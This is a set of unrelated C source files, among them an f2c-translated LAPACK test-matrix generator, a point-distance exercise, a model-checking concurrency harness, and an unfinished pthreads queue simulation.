zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__1 = 1;
static integer c__4 = 4;
static integer c__12 = 12;
static integer c__8 = 8;
static integer c__40 = 40;
static integer c__2 = 2;
static integer c__3 = 3;
static integer c__60 = 60;
/* > \brief \b SLATM6 */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* Definition: */
/* =========== */
/* SUBROUTINE SLATM6( TYPE, N, A, LDA, B, X, LDX, Y, LDY, ALPHA, */
/* BETA, WX, WY, S, DIF ) */
/* INTEGER LDA, LDX, LDY, N, TYPE */
/* REAL ALPHA, BETA, WX, WY */
/* REAL A( LDA, * ), B( LDA, * ), DIF( * ), S( * ), */
/* $ X( LDX, * ), Y( LDY, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > SLATM6 generates test matrices for the generalized eigenvalue */
/* > problem, their corresponding right and left eigenvector matrices, */
/* > and also reciprocal condition numbers for all eigenvalues and */
/* > the reciprocal condition numbers of eigenvectors corresponding to */
/* > the 1th and 5th eigenvalues. */
/* > */
/* > Test Matrices */
/* > ============= */
/* > */
/* > Two kinds of test matrix pairs */
/* > */
/* > (A, B) = inverse(YH) * (Da, Db) * inverse(X) */
/* > */
/* > are used in the tests: */
/* > */
/* > Type 1: */
/* > Da = 1+a 0 0 0 0 Db = 1 0 0 0 0 */
/* > 0 2+a 0 0 0 0 1 0 0 0 */
/* > 0 0 3+a 0 0 0 0 1 0 0 */
/* > 0 0 0 4+a 0 0 0 0 1 0 */
/* > 0 0 0 0 5+a , 0 0 0 0 1 , and */
/* > */
/* > Type 2: */
/* > Da = 1 -1 0 0 0 Db = 1 0 0 0 0 */
/* > 1 1 0 0 0 0 1 0 0 0 */
/* > 0 0 1 0 0 0 0 1 0 0 */
/* > 0 0 0 1+a 1+b 0 0 0 1 0 */
/* > 0 0 0 -1-b 1+a , 0 0 0 0 1 . */
/* > */
/* > In both cases the same inverse(YH) and inverse(X) are used to compute */
/* > (A, B), giving the exact eigenvectors to (A,B) as (YH, X): */
/* > */
/* > YH: = 1 0 -y y -y X = 1 0 -x -x x */
/* > 0 1 -y y -y 0 1 x -x -x */
/* > 0 0 1 0 0 0 0 1 0 0 */
/* > 0 0 0 1 0 0 0 0 1 0 */
/* > 0 0 0 0 1, 0 0 0 0 1 , */
/* > */
/* > where a, b, x and y will have all values independently of each other. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] TYPE */
/* > \verbatim */
/* > TYPE is INTEGER */
/* > Specifies the problem type (see further details). */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > Size of the matrices A and B. */
/* > \endverbatim */
/* > */
/* > \param[out] A */
/* > \verbatim */
/* > A is REAL array, dimension (LDA, N). */
/* > On exit A N-by-N is initialized according to TYPE. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of A and of B. */
/* > \endverbatim */
/* > */
/* > \param[out] B */
/* > \verbatim */
/* > B is REAL array, dimension (LDA, N). */
/* > On exit B N-by-N is initialized according to TYPE. */
/* > \endverbatim */
/* > */
/* > \param[out] X */
/* > \verbatim */
/* > X is REAL array, dimension (LDX, N). */
/* > On exit X is the N-by-N matrix of right eigenvectors. */
/* > \endverbatim */
/* > */
/* > \param[in] LDX */
/* > \verbatim */
/* > LDX is INTEGER */
/* > The leading dimension of X. */
/* > \endverbatim */
/* > */
/* > \param[out] Y */
/* > \verbatim */
/* > Y is REAL array, dimension (LDY, N). */
/* > On exit Y is the N-by-N matrix of left eigenvectors. */
/* > \endverbatim */
/* > */
/* > \param[in] LDY */
/* > \verbatim */
/* > LDY is INTEGER */
/* > The leading dimension of Y. */
/* > \endverbatim */
/* > */
/* > \param[in] ALPHA */
/* > \verbatim */
/* > ALPHA is REAL */
/* > \endverbatim */
/* > */
/* > \param[in] BETA */
/* > \verbatim */
/* > BETA is REAL */
/* > */
/* > Weighting constants for matrix A. */
/* > \endverbatim */
/* > */
/* > \param[in] WX */
/* > \verbatim */
/* > WX is REAL */
/* > Constant for right eigenvector matrix. */
/* > \endverbatim */
/* > */
/* > \param[in] WY */
/* > \verbatim */
/* > WY is REAL */
/* > Constant for left eigenvector matrix. */
/* > \endverbatim */
/* > */
/* > \param[out] S */
/* > \verbatim */
/* > S is REAL array, dimension (N) */
/* > S(i) is the reciprocal condition number for eigenvalue i. */
/* > \endverbatim */
/* > */
/* > \param[out] DIF */
/* > \verbatim */
/* > DIF is REAL array, dimension (N) */
/* > DIF(i) is the reciprocal condition number for eigenvector i. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup real_matgen */
/* ===================================================================== */
/* Subroutine */ int slatm6_(integer *type__, integer *n, real *a, integer *
lda, real *b, real *x, integer *ldx, real *y, integer *ldy, real *
alpha, real *beta, real *wx, real *wy, real *s, real *dif)
{
/* System generated locals */
integer a_dim1, a_offset, b_dim1, b_offset, x_dim1, x_offset, y_dim1,
y_offset, i__1, i__2;
/* Local variables */
integer info;
real work[100];
integer i__, j;
real z__[144] /* was [12][12] */;
extern /* Subroutine */ int slakf2_(integer *, integer *, real *, integer
*, real *, real *, real *, real *, integer *), sgesvd_(char *,
char *, integer *, integer *, real *, integer *, real *, real *,
integer *, real *, integer *, real *, integer *, integer *), slacpy_(char *, integer *, integer *, real *,
integer *, real *, integer *);
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Generate test problem ... */
/* (Da, Db) ... */
/* Parameter adjustments */
b_dim1 = *lda;
b_offset = 1 + b_dim1 * 1;
b -= b_offset;
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
x_dim1 = *ldx;
x_offset = 1 + x_dim1 * 1;
x -= x_offset;
y_dim1 = *ldy;
y_offset = 1 + y_dim1 * 1;
y -= y_offset;
--s;
--dif;
/* Function Body */
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
i__2 = *n;
for (j = 1; j <= i__2; ++j) {
if (i__ == j) {
a[i__ + i__ * a_dim1] = (real) i__ + *alpha;
b[i__ + i__ * b_dim1] = 1.f;
} else {
a[i__ + j * a_dim1] = 0.f;
b[i__ + j * b_dim1] = 0.f;
}
/* L10: */
}
/* L20: */
}
/* Form X and Y */
slacpy_("F", n, n, &b[b_offset], lda, &y[y_offset], ldy);
y[y_dim1 + 3] = -(*wy);
y[y_dim1 + 4] = *wy;
y[y_dim1 + 5] = -(*wy);
y[(y_dim1 << 1) + 3] = -(*wy);
y[(y_dim1 << 1) + 4] = *wy;
y[(y_dim1 << 1) + 5] = -(*wy);
slacpy_("F", n, n, &b[b_offset], lda, &x[x_offset], ldx);
x[x_dim1 * 3 + 1] = -(*wx);
x[(x_dim1 << 2) + 1] = -(*wx);
x[x_dim1 * 5 + 1] = *wx;
x[x_dim1 * 3 + 2] = *wx;
x[(x_dim1 << 2) + 2] = -(*wx);
x[x_dim1 * 5 + 2] = -(*wx);
/* Form (A, B) */
b[b_dim1 * 3 + 1] = *wx + *wy;
b[b_dim1 * 3 + 2] = -(*wx) + *wy;
b[(b_dim1 << 2) + 1] = *wx - *wy;
b[(b_dim1 << 2) + 2] = *wx - *wy;
b[b_dim1 * 5 + 1] = -(*wx) + *wy;
b[b_dim1 * 5 + 2] = *wx + *wy;
if (*type__ == 1) {
a[a_dim1 * 3 + 1] = *wx * a[a_dim1 + 1] + *wy * a[a_dim1 * 3 + 3];
a[a_dim1 * 3 + 2] = -(*wx) * a[(a_dim1 << 1) + 2] + *wy * a[a_dim1 *
3 + 3];
a[(a_dim1 << 2) + 1] = *wx * a[a_dim1 + 1] - *wy * a[(a_dim1 << 2) +
4];
a[(a_dim1 << 2) + 2] = *wx * a[(a_dim1 << 1) + 2] - *wy * a[(a_dim1 <<
2) + 4];
a[a_dim1 * 5 + 1] = -(*wx) * a[a_dim1 + 1] + *wy * a[a_dim1 * 5 + 5];
a[a_dim1 * 5 + 2] = *wx * a[(a_dim1 << 1) + 2] + *wy * a[a_dim1 * 5 +
5];
} else if (*type__ == 2) {
a[a_dim1 * 3 + 1] = *wx * 2.f + *wy;
a[a_dim1 * 3 + 2] = *wy;
a[(a_dim1 << 2) + 1] = -(*wy) * (*alpha + 2.f + *beta);
a[(a_dim1 << 2) + 2] = *wx * 2.f - *wy * (*alpha + 2.f + *beta);
a[a_dim1 * 5 + 1] = *wx * -2.f + *wy * (*alpha - *beta);
a[a_dim1 * 5 + 2] = *wy * (*alpha - *beta);
a[a_dim1 + 1] = 1.f;
a[(a_dim1 << 1) + 1] = -1.f;
a[a_dim1 + 2] = 1.f;
a[(a_dim1 << 1) + 2] = a[a_dim1 + 1];
a[a_dim1 * 3 + 3] = 1.f;
a[(a_dim1 << 2) + 4] = *alpha + 1.f;
a[a_dim1 * 5 + 4] = *beta + 1.f;
a[(a_dim1 << 2) + 5] = -a[a_dim1 * 5 + 4];
a[a_dim1 * 5 + 5] = a[(a_dim1 << 2) + 4];
}
/* Compute condition numbers */
if (*type__ == 1) {
s[1] = 1.f / sqrt((*wy * 3.f * *wy + 1.f) / (a[a_dim1 + 1] * a[a_dim1
+ 1] + 1.f));
s[2] = 1.f / sqrt((*wy * 3.f * *wy + 1.f) / (a[(a_dim1 << 1) + 2] * a[
(a_dim1 << 1) + 2] + 1.f));
s[3] = 1.f / sqrt((*wx * 2.f * *wx + 1.f) / (a[a_dim1 * 3 + 3] * a[
a_dim1 * 3 + 3] + 1.f));
s[4] = 1.f / sqrt((*wx * 2.f * *wx + 1.f) / (a[(a_dim1 << 2) + 4] * a[
(a_dim1 << 2) + 4] + 1.f));
s[5] = 1.f / sqrt((*wx * 2.f * *wx + 1.f) / (a[a_dim1 * 5 + 5] * a[
a_dim1 * 5 + 5] + 1.f));
slakf2_(&c__1, &c__4, &a[a_offset], lda, &a[(a_dim1 << 1) + 2], &b[
b_offset], &b[(b_dim1 << 1) + 2], z__, &c__12);
sgesvd_("N", "N", &c__8, &c__8, z__, &c__12, work, &work[8], &c__1, &
work[9], &c__1, &work[10], &c__40, &info);
dif[1] = work[7];
slakf2_(&c__4, &c__1, &a[a_offset], lda, &a[a_dim1 * 5 + 5], &b[
b_offset], &b[b_dim1 * 5 + 5], z__, &c__12);
sgesvd_("N", "N", &c__8, &c__8, z__, &c__12, work, &work[8], &c__1, &
work[9], &c__1, &work[10], &c__40, &info);
dif[5] = work[7];
} else if (*type__ == 2) {
s[1] = 1.f / sqrt(*wy * *wy + .33333333333333331f);
s[2] = s[1];
s[3] = 1.f / sqrt(*wx * *wx + .5f);
s[4] = 1.f / sqrt((*wx * 2.f * *wx + 1.f) / ((*alpha + 1.f) * (*alpha
+ 1.f) + 1.f + (*beta + 1.f) * (*beta + 1.f)));
s[5] = s[4];
slakf2_(&c__2, &c__3, &a[a_offset], lda, &a[a_dim1 * 3 + 3], &b[
b_offset], &b[b_dim1 * 3 + 3], z__, &c__12);
sgesvd_("N", "N", &c__12, &c__12, z__, &c__12, work, &work[12], &c__1,
&work[13], &c__1, &work[14], &c__60, &info);
dif[1] = work[11];
slakf2_(&c__3, &c__2, &a[a_offset], lda, &a[(a_dim1 << 2) + 4], &b[
b_offset], &b[(b_dim1 << 2) + 4], z__, &c__12);
sgesvd_("N", "N", &c__12, &c__12, z__, &c__12, work, &work[12], &c__1,
&work[13], &c__1, &work[14], &c__60, &info);
dif[5] = work[11];
}
return 0;
/* End of SLATM6 */
} /* slatm6_ */
|
the_stack_data/1004734.c
|
#include <stdio.h>
#include <math.h>
typedef struct ponto
{
float x;
float y;
} ponto;
void le_ponto (ponto*);
float calcula_dist (ponto*, ponto*);
int main()
{
ponto p1, p2;
float dist;
le_ponto (&p1);
le_ponto (&p2);
dist = calcula_dist (&p1, &p2);
printf ("\nDistancia: %f\n", dist);
return 0;
}
void le_ponto (ponto* pnt)
{
printf ("\nCoordenadas do Ponto: ");
scanf ("%f f", &pnt->x, &pnt->y);
/* ou scanf ("%f %f", &(*pnt).x, &(*pnt).y); */
}
float calcula_dist (ponto* a, ponto* b)
{
float quadX, quadY;
quadX = pow (a->x - b->x, 2);
//ou quadX = pow ((*a).x - (*b).x, 2);
quadY = pow (a->y - b->y, 2);
//ou quadY = pow ((*c).y - (*b).y, 2);
return sqrt (quadX + quadY);
}
|
the_stack_data/4760.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: /* assert not proved */
__VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { /* reachable */
/* reachable */
/* reachable */
/* reachable */
__VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include <assert.h>
#include <pthread.h>
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p0_EAX;
int __unbuffered_p0_EAX = 0;
int __unbuffered_p0_EBX;
int __unbuffered_p0_EBX = 0;
int __unbuffered_p2_EAX;
int __unbuffered_p2_EAX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
int y;
int y = 0;
int z;
int z = 0;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
__unbuffered_p0_EAX = z;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p0_EBX = x;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
__unbuffered_p2_EAX = y;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
z = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 3;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
main$tmp_guard1 = !(__unbuffered_p0_EAX == 1 && __unbuffered_p0_EBX == 0 && __unbuffered_p2_EAX == 1);
__VERIFIER_atomic_end();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__VERIFIER_assert(main$tmp_guard1);
/* reachable */
return 0;
}
|
the_stack_data/140765374.c
|
// Used geekforgeeks, a2-hint as reference and other sites i might have lost track of.
#include <stdio.h>
#include <string.h>
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <stdbool.h>
#include <time.h>
#include <sys/types.h>
#define TRUE 1
#define FALSE 0
struct Queue* createQueue();
void deQueue(struct Queue* q);
void enQueue(struct Queue* q, int k);
struct QNode* newNode(int k);
double getCurSystemTime();
struct customer_info{ // struct to record the customer information read from customers.txt
int user_id;
int class_type;
int service_time;
int arrival_time;
};
typedef struct QNode {
int key;
struct QNode* next;
}QNode;
struct Queue {
struct QNode *front, *rear;
int size;
}Queue;
struct Queue *class_type_queue[2];
int queue_length[2]; // variable stores the real-time queue length information;
double queue_enter_time;
int queue_status[2]; // variable to record the status of a queue, the value could be idle (not using by any clerk) or the clerk id (1 ~ 4), indicating that the corresponding clerk is now signaling this queue.
bool winner_selected[2] = {false,false}; // variable to record if the first customer in a queue has been successfully selected and left the queue.
// mutexes and condition variable
pthread_mutex_t lock[2];
pthread_mutex_t queue_mutex[2];
pthread_mutex_t clerk_mutex[5];
pthread_cond_t clerk_variable[5];
pthread_cond_t queue_variable[2];
pthread_mutexattr_t recursiveMutexAttributes;
double start_time;
double end_time;
double overall_waiting_time; //A global variable to add up the overall waiting time for all customers, every customer add their own waiting time to this variable, mutex_lock is necessary.
double business_ave;
double economy_ave;
int customerNum;
double time1;
struct timeval init_time;
int queue_id;
int user_id;
int class_type;
int arrival_time;
int service_time;
double cusBusNum;
double cusEcoNum;
int clerk_woke_me_up;
/* customer thread function */
void *customer_entry(void *cus_info){
struct customer_info * p_myInfo = (struct customer_info *) cus_info;
usleep(p_myInfo->arrival_time * 100000);
fprintf(stdout, "A customer arrives: customer ID %2d. \n", p_myInfo->user_id);
/* mutexLock of selected queue */
if(pthread_mutex_lock(&queue_mutex[p_myInfo->class_type])!=0){
printf("Error locking mutex.\n");
exit(0);
}
//critical section
/* Enqueue operation: get into either business queue or economy queue by using p_myInfo->class_type*/
class_type_queue[p_myInfo->class_type]= createQueue();
enQueue(class_type_queue[p_myInfo->class_type], p_myInfo->user_id);
queue_enter_time = getCurSystemTime();
queue_length[p_myInfo->class_type]++;
queue_id = p_myInfo->class_type;
fprintf(stdout, "A customer enters a queue: the queue ID %1d, and length of the queue %2d. \n", p_myInfo->class_type, queue_length[p_myInfo->class_type]);
while (TRUE) {
//pthread_cond_wait(&queue_variable[p_myInfo->class_type], &queue_mutex[p_myInfo->class_type]);
if (p_myInfo->user_id == class_type_queue[p_myInfo->class_type]->front->key && (winner_selected[0] == FALSE || winner_selected[1] == FALSE)) {
deQueue(class_type_queue[p_myInfo->class_type]);
queue_length[p_myInfo->class_type]--;
winner_selected[p_myInfo->user_id] = TRUE; // update the winner_selected variable to indicate that the first customer has been selected from the queue
break;
}
}
if(pthread_mutex_unlock(&queue_mutex[p_myInfo->class_type]) != 0){
printf("Error unlocking mutex.\n");
exit(0);
}
/* Try to figure out which clerk awoken me, because you need to print the clerk Id information */
usleep(10); // Add a usleep here to make sure that all the other waiting threads have already got back to call pthread_cond_wait. 10 us will not harm your simulation time.
clerk_woke_me_up = queue_status[p_myInfo->class_type];
// get time for both economy and business class
/* get the current machine time; updates the overall_waiting_time*/
if (queue_status[p_myInfo->class_type] == 0) {
if(pthread_mutex_lock(&lock[0])){
printf("Error locking mutex.\n");
exit(0);
}
// critical section
economy_ave = (economy_ave + getCurSystemTime()) - p_myInfo->service_time* 0.01;
if(pthread_mutex_unlock(&lock[0])){
printf("Error unlocking mutex.\n");
exit(0);
}
}else {
if(pthread_mutex_lock(&lock[1])){
printf("Error locking mutex.\n");
exit(0);
}
business_ave = (business_ave + getCurSystemTime()) - p_myInfo->service_time* 0.01;
if(pthread_mutex_unlock(&lock[1])){
printf("Error unlocking mutex.\n");
exit(0);
}
}
fprintf(stdout, "A clerk starts serving a customer: start time %.2f, the customer ID %2d, the clerk ID %1d. \n",queue_enter_time, p_myInfo->user_id, clerk_woke_me_up);
usleep(p_myInfo->service_time* 100000);
end_time = getCurSystemTime();
fprintf(stdout, "A clerk finishes serving a customer: end time %.2f, the customer ID %2d, the clerk ID %1d. \n", end_time, p_myInfo->user_id, clerk_woke_me_up);
//Lock mutex
if (pthread_mutex_lock(&clerk_mutex[clerk_woke_me_up])!= 0) {
printf("Error: pthread_mutex_lock failed");
exit(-1);
}
//Critical Section
if (pthread_cond_broadcast(&clerk_variable[clerk_woke_me_up]) != 0) {
printf("Error pthread_cond_signal failed");
exit(-1);
}
//unlock mutex
if (pthread_mutex_unlock(&clerk_mutex[clerk_woke_me_up]) != 0) {
printf("Error pthread_mutex_unlock failed ");
exit(-1);
}
pthread_exit(NULL);
return NULL;
}
// function entry for clerk threads
void *clerk_entry(void * clerkNum){
int clerkID;
clerkID = *((int *)clerkNum);
while(TRUE){
/* selected_queue_ID = Select the queue based on the priority and current customers number */
if(queue_id == 0){
if(pthread_mutex_lock(&queue_mutex[0])){
printf("Error locking mutex.195\n");
exit(0);
}
queue_status[0] = clerkID;
pthread_cond_broadcast(&queue_variable[0]);
winner_selected[0] = FALSE;
if(pthread_mutex_unlock(&queue_mutex[0])){
printf("Error unlocking mutex.203\n");
exit(0);
}
}else{
if(pthread_mutex_lock(&queue_mutex[1])){
printf("Error locking mutex.195\n");
exit(0);
}
queue_status[1] = clerkID;
pthread_cond_broadcast(&queue_variable[1]);
winner_selected[1] = FALSE;
if(pthread_mutex_unlock(&queue_mutex[1])){
printf("Error unlocking mutex.203\n");
exit(0);
}
}
// lock clerk mutex
if(clerkID == 1){
if (pthread_mutex_lock(&clerk_mutex[0]) != 0) {
printf("Error: pthread_mutex_ailed.29\n");
exit(-1);
}
/* critical section */
if (pthread_cond_wait(&clerk_variable[0], &clerk_mutex[0]) != 0) {
printf("Error: pthread_cond_waitfailed 25.\n");
exit(-1);
}
// unlock clerk mutex
if (pthread_mutex_unlock(&clerk_mutex[0]) != 0) {
printf("error: pthread_mutex_unlock clerk_mutex failed.221\n");
exit(-1);
}
}
else if(clerkID == 2){
if (pthread_mutex_lock(&clerk_mutex[1]) != 0) {
printf("Error pthread_mutex_lock_clerk failed.209\n");
exit(-1);
}
/* critical section to wait */
if (pthread_cond_wait(&clerk_variable[1], &clerk_mutex[1]) != 0 ) {
printf("Error pthread_cond_wait clerk failed 215.\n");
exit(-1);
}
// unlock clerk mutex
if (pthread_mutex_unlock(&clerk_mutex[1]) != 0) {
printf("Error pthread_mutex_failed.221\n");
exit(-1);
}
}
else if(clerkID == 3){
if (pthread_mutex_lock(&clerk_mutex[2])!= 0) {
printf("Error pthread_mutex_failed.20\n");
exit(-1);
}
/* critical section */
if (pthread_cond_wait(&clerk_variable[2], &clerk_mutex[2]) != 0) {
printf("Error pthread_cond_waitfailed 15.\n");
exit(-1);
}
// unlock clerk mutex
if (pthread_mutex_unlock(&clerk_mutex[2]) != 0) {
printf("Error: pthread_mutex_failed.21\n");
exit(-1);
}
}
else {
if (pthread_mutex_lock(&clerk_mutex[3])!= 0) {
printf("Error pthread_mutex_failed9\n");
exit(-1);
}
/* critical section */
if (pthread_cond_wait(&clerk_variable[3], &clerk_mutex[3]) != 0) {
printf("Error pthread_cond_wait 1.\n");
exit(-1);
}
// unlock clerk mutex
if (pthread_mutex_unlock(&clerk_mutex[3])!= 0) {
printf("Error pthread_mutex_failed.22\n");
exit(-1);
}
}
//Could not get clerk thread to work properly (kept getting deadlocks).
}
pthread_exit(NULL);
return NULL;
}
int main(int argc, char *argv[]){
FILE *fp;
char *filename;
char ch[99];
//initializing mutex,con_var and mutexattr
if(pthread_mutexattr_init(&recursiveMutexAttributes)!=0){
printf("Error initialzing mutexattr.\n");
exit(0);
}
pthread_mutexattr_settype(&recursiveMutexAttributes, PTHREAD_MUTEX_RECURSIVE);
if(pthread_mutex_init(&queue_mutex[0], &recursiveMutexAttributes)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_mutex_init(&queue_mutex[1], &recursiveMutexAttributes)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_mutex_init(&clerk_mutex[0], &recursiveMutexAttributes)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_mutex_init(&clerk_mutex[1], &recursiveMutexAttributes)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_mutex_init(&clerk_mutex[2], &recursiveMutexAttributes)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_mutex_init(&clerk_mutex[3], &recursiveMutexAttributes)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_mutex_init(&clerk_mutex[4], &recursiveMutexAttributes)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_cond_init(&queue_variable[0], NULL)!=0){
printf("Error initialzing cond_var.\n");
exit(0);
}
if(pthread_cond_init(&queue_variable[1], NULL)!=0){
printf("Error initialzing cond_var.\n");
exit(0);
}
if(pthread_cond_init(&clerk_variable[0], NULL)!=0){
printf("Error initialzing cond_var.\n");
exit(0);
}
if(pthread_cond_init(&clerk_variable[1], NULL)!=0){
printf("Error initialzing cond_var.\n");
exit(0);
}
if(pthread_cond_init(&clerk_variable[2], NULL)!=0){
printf("Error initialzing cond_var.\n");
exit(0);
}
if(pthread_cond_init(&clerk_variable[3], NULL)!=0){
printf("Error initialzing cond_var.\n");
exit(0);
}
if(pthread_cond_init(&clerk_variable[4], NULL)!=0){
printf("Error initialzing cond_var.\n");
exit(0);
}
if(pthread_mutex_init(&lock[0], NULL)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
if(pthread_mutex_init(&lock[1], NULL)!=0){
printf("Error initialzing mutex.\n");
exit(0);
}
// Check if a filename has been specified in the command
if (argc < 2)
{
printf("Missing Filename\n");
return(1);
}
else
{
filename = argv[1];
printf("Filename : %s\n", filename);
}
// Open file in read-only mode
fp = fopen(filename,"r");
if (NULL == fgets(ch, sizeof(ch), fp)) {
printf("Error\n");
exit(-1);
}
customerNum = atoi(ch); //number of customers
struct customer_info custom_info[customerNum]; //customer array
pthread_t customId[customerNum]; //thread identifier array
int clerk_info[5]; //clerk array
pthread_t clerkId[5]; //thread identifier array
for (int i=0; i<customerNum; i++) {
fgets(ch, sizeof(ch), fp);
(user_id = atoi(strtok(ch, ":")));
(class_type = atoi(strtok(NULL, ",")));
(arrival_time = atoi(strtok(NULL, ",")));
(service_time = atoi(strtok(NULL, ",")));
custom_info[i].user_id = user_id;
custom_info[i].class_type = class_type;
custom_info[i].arrival_time = arrival_time;
custom_info[i].service_time = service_time;
}
// get number of business and economy customer
for (int i =0 ; i<customerNum; i++){
if(custom_info[i].class_type == 0){
cusEcoNum++;
}else{
cusBusNum++;
}
}
gettimeofday(&init_time, NULL);
time1 = (init_time.tv_sec + (double) init_time.tv_usec / 1000000);
